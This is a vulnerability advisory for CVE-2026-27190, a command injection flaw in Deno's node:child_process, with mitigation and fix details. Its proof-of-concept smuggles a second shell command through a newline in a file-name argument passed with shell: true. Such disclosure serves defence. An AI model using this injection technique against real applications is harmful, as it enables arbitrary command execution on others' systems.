Advisory

GHSA-hmh4-3xvx-q5hr

Also known as: CVE-2026-27190

Summary

Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process

Details

Summary
A command injection vulnerability exists in Deno's node:child_process implementation.

Reproduction

import { spawnSync } from "node:child_process";
import * as fs from "node:fs";

// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}

// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');

// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;

// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
  shell: true,
  encoding: 'utf-8'
});

// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));

Run: deno run --allow-all poc.mjs

The file /tmp/rce_proof is created, confirming arbitrary command execution.

Mitigation

All users need to update to the patched version (Deno v2.6.8).

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-02-19 20:31 UTC
Modified
2026-02-20 22:35 UTC

Affected packages and fixes

deno

crates.io · All systems

Affected

  • introduced 0, fixed 2.6.8 (semver)

Fixed versions

2.6.8

Fix

  • Fixed version 2.6.8
    cargo update -p deno --precise 2.6.8

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences